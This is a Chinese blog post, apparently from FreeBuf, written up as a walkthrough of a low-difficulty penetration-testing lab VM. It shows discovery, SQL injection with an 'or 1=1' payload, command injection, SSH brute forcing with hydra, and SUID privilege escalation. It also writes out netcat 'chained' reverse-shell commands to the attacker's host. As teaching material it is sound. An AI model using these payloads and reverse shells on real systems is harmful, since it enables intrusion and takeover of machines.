freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

靶场打靶2
天下第一 2021-09-27 10:13:42 104739

这是第2个打靶记录,算是一个低难度级别的靶机。虽说难度级别为低,但是从还原整个渗透过程的角度来看,这个靶机非常全面。在这次打靶过程中,将使用到以下攻击手段:

端口扫描         WEB侦查        SQL注入       命令注入         密码爆破        代码审计       NC串联          本地提权

点击靶机下载地址

背景:我的kali地址是10.0.2.5,靶机地址是10.0.2.6

靶场1我们用到arp-scan工具可以扫描网段ip,但是今天再演示另外一款工具主机的发现:arping。arp-scan更倾向于渗透测试使用,但是arping几乎在所有linux发行版都存在,所以广泛度来说这个工具可以在更多环境下,因为很多情况下目标机没有arp-scan这个工具,不过arping也有自己的短板:网段扫描需要结合shell脚本(我这就就扫描1-10,因为我知道靶机ip在这个段内,就不扫那么多。正常扫描网段应该是254,同时设置-c 2指定回两个ping包给我)。

1632707227_6151229bb57c798b6e5fd.png!small

靶机是这个10.0.2.6(其它返回包的是我本地其他机器,这里不做解释了)

接着对靶机ip的端口用nmap扫描看看开放哪些服务端口:

1632707238_615122a6a3cad48e79c7e.png!small

可以看到开放了两个端口,一个是22,一个是8080(这是个http的web服务,可以访问)。

1632707243_615122ab8c807e1a16c95.png!small

页面展示这是一个云防服务病毒扫描程序,需要输入邀请码才能够登录。类似于需要密码来认证。这时候我们可以想到两种方式,一种就是通过注入漏洞来绕过,还有一种就是暴力破解密码。我们先尝试第二种,利用burpsuite抓包工具来暴力破解(不要忘了burpsuite和浏览器都设置ip,我这里设置127.0.0.1:8080):

1632707251_615122b3ef39abbf3d429.png!small

可以看到能够抓包,通过intruder模块添加字典进行暴力破解(我这里没有字典,我就临时加了几个符号,尤其是单引号,双引号这一类的,可能触发闭合语句造成sql注入漏洞,导致页面报错会带出信息)。

1632707258_615122ba362fdb3815c72.png!small

通过跑完这些字典,发现果然在双引号的地方响应和其他字符都不一样的结果。

1632707267_615122c3b501dd110cbca.png!small

不仅爆出了很多服务器路径信息,再下面一行还爆出sql语句我们知道上传的双引号被拼接到这个语句当中(我们输入的双引号和前面的双引号形成闭合,导致语法错误报错)。

Select * from code where password=”; + password + “ + “;

所以我们可以构造一个payload(做一个or这个逻辑或语句来尝试):

“ or 1=1 --

1632707276_615122cc6cecd6c1bbbe1.png!small

1632707283_615122d358495e485918a.png!small

很显然注入成功了。返回出了所有信息。这就是它云病毒查杀的功能,可以指定那些命令去做一些功能提交到服务端,服务端针对提交的信息来执行防病毒的查杀。

我们可以猜想它是怎么工作的?首先它肯定是个linux系统,根据信息就能看出来。

然后这些指令呢?比如我输入一个hello这个指令,它会不会就是带到服务器里面用一个扫描程序来扫描hello这个文件是否有病毒?我们假设用一个单词”scan”代替这个执行扫描的命令,也就是说输入一个hello提交的时候,系统会执行类似这种:scan hello

也就是执行一个shell命令的功能。

得到这个构想之后,接下来我们想一下有什么利用点呢?使用过shell命令行的同学应该知道管道符可以连接多条命令,那么我们能不能在”scan hello”这个命令之后加上一些其它的操作呢?比如 scan hello | id、scan hello | ls 等等。

事实证明可以运行,那么我们是不是可以直接反弹shell到kali上呢?这一幕是不是和靶场1的很相似呢,而且我们端口扫描这个8080端口服务也是python语言的,python2版本的,

如果用靶场1的那段代码是可以反弹shell操作。

不过这次我想给大家带点不一样的知识点(如果都是一种操作大家也学不到太多东西)。

我们可以利用nc程序反弹shell

先判断是否存在这个nc程序:

1632707295_615122df6573275ace726.png!small

1632707312_615122f006ccf60288d2a.png!small

表示存在nc程序。

同样在kali上面开启监听,在另一端这边反弹shell:

1632707319_615122f7182fecc49ee26.png!small

1632707323_615122fb39201d0eaf245.png!small

发现失败了,为什么呢?在这里给大家普及一下知识点:

在不同的linux发行版当中,每一个发行版都会使用不同的nc,有的版本的nc当中不包含-e这个参数的。也就用不了这个参数,那么怎么反弹shell呢?这就用到一个”nc串联

hello | 10.0.2.4 3333 | /bin/bash | nc 10.0.2.4 44441632707333_6151230547184b7ceec71.png!small

可以看到我监听的两个端口,而且我在3333端口下输入命令,能够在4444端口下查看到返回信息:

1632707366_6151232674de920ba9182.png!small

我来重新解读一下这个“nc串联代码”

hello | nc 10.0.2.4 3333 | /bin/bash | nc 10.0.2.4 4444

首先通过nc的3333端口和kali建立一个连接,这时候我发送在3333端口下的命令会通过管道发送到/bin/bash来解析,解析结果会通过管道再和kali的4444端口,于是就看到了上面的结果。

(nc小工具还有其他很多功能,在之后的文章中有机会再给大家介绍)

通过反弹shell成功,我们再接着探测目标主机上面的信息,先看下文件信息有哪些:

1632707395_615123434cf3bb8a7a225.png!small

发现了这两个可能有用的文件,打开查看一下,这个app.py看了没太多作用,而这个database.sql文件是个数据库文件,里面是否包含一些机密的内容?我们有理由去查看。

通过file命令查看:

1632707401_615123497a75b40f8781b.png!small

(sqlite是一个本地数据库,它的数据库都是以本地文件的形式存放在一些目录下的)

我们执行一下sqlite,发现失败,既然对方服务器没有数据库解析环境的话。那么我们就把它下载到自己的本机kali中查看。

1632707409_615123513990f0b274d36.png!small

可以通过ls命令查看下载到我kali上了,接着利用sqlite3(kali自带)命令运行,并查看文件出现一个字段:password,里面有4个值。

这时候我们再想一下,既然又是账户密码这种信息,肯定又是存在登录的地方可以利用。什么地方登录呢?熟悉靶场1的就知道,ssh服务可以远程登陆(因为扫描端口的时候22端口是开放的,ssh服务默认端口是22),除此之外,没有其他地方了。

那么现在缺少账户,我们之前已经反弹shell了,是不是可以查看目标机上面的所有账户呢?

我们可以将所有账户和所有密码组合成一个字典,然后去ssh远程登陆:

先查看所有密码,再筛选”可以通过shell登陆系统”的账户:

1632707415_61512357f3ef7a9d9c8b4.png!small

可以看到有root、cloudav、scanner这三个用户,然后创建一个用户文件和密码文件,分别给用户和那4个密码放进去:

然后利用hydra(名为九头蛇,支持众多协议的爆破工具)这个工具进行爆破登陆ssh服务:

1632707422_6151235e30b9205805c34.png!small

很遗憾,失败了。没有一个能匹配登陆上去的。

我为什么要把这个失败的过程也演示给大家看呢,因为在真实的渗透环境中,会收集到看似很有用的信息,比如账户密码,当我们去尝试的时候往往会失败,其实看似失败的攻击其实也是我们渗透测试的一部分。所以虽然是失败的尝试,我也觉得有必要给大家演示一下。当我们收集到这类信息的时候,做这类尝试是非常有必要的。

于是我们接着寻找信息,利用之前反弹的shell继续查看目标机的一些目录和文件。具体演示过程就不展示了,我直接看重点:

1632707429_61512365c58eaebffcde4.png!small

可以看到有两个文件(一个多个.c的扩展),而且这个文件有是可执行权限,带有s,是suid缩写,说明存在权限位,查看一下源码:

1632707437_6151236d5ed67b96fea16.png!small

很显然看到这是个C语言,首先是包含一些头文件,然后就是我箭头的地方。定义了一个变量,然后指向freshclam这个文件,如果在linux系统中使用过ClamAV开源的杀毒软件的同学,那么大家对这个文件一定不陌生,这个文件就是给ClamAV病毒库升级使用的一个程序。

接下来程序定义了一个执行参数,如果说不包含参数的话,在屏幕上显示这个信息”his tool lets you update antivirus rules\nPlease supply command line arguments for freshclam”要求我们提供一个命令行的参数,这样freshclam才能正常执行病毒库的更新。如果我们执行这个程序过程中正确的使用了这个运行参数,那么程序就会正常执行freshclam这个病毒库的更新。

简单了解了源码之后我们发现代码很简单,它仅仅是调用了freshclam这么一个程序,同时

强制要求freshclam在命令行上添加一个运行参数。

我们尝试先随便执行一个指令a,这时候日志报错,我们不知道这个日志报错会不会影响我们渗透的结果,还是说执行没问题,只是日志报错?亦或者是日志报错,命令执行就执行不了?

1632707445_61512375cd35344f583f5.png!small

很多时候我们获得的信息也不完整。所以很多情况下我们需要大胆的去尝试。去按照我们头脑中构想的思路,去通过实践来验证我们的攻击思路。

所以接下来 我们大胆尝试一下,想利用suid权限位达到一个反弹shell的连接效果,我们可以这样构建payload:./update_cloudav “a|nc 10.0.2.4 6666 | /bin/bash | nc 10.0.2.4 7777

再次利用之前说的”nc串联”必杀技:

1632707463_61512387ac6e3cb4b35e5.png!small

到此成功反弹shell了,用id查看是root权限。结束!

复盘总结:首先是对主机发现,当发现主机ip地址之后我们对它进行端口扫描以及服务发现,进而发web服务,访问发现sql注入漏洞()利用注入漏洞进入后台页面,又在后台页面发现命令注入漏洞。于是利用注入漏洞反弹shell,这时候不是root权限,需要想办法提权,于是在目标靶机上继续信息收集,发现了数据库文件里面带有密码,然后再找账户名,通过hydra去爆破破解ssh服务远程登陆。失败了。于是再信息收集,终于发现一个拥有SUID权限的执行程序,然后通过代码审计发现一些问题,并且找到了利用这个漏洞的攻击方式,最终取得了目标靶机的root权限。

# 渗透测试 # web安全 # 网络安全技术 # 靶场实战 # 靶场攻关
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 天下第一 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
天下第一 LV.3
这家伙太懒了,还未填写个人描述!
  • 6 文章数
  • 7 关注者
微信小程序反编译浅析及实战(二)
2022-08-09
微信小程序反编译浅析及实战
2022-07-02
靶场打靶3
2021-10-22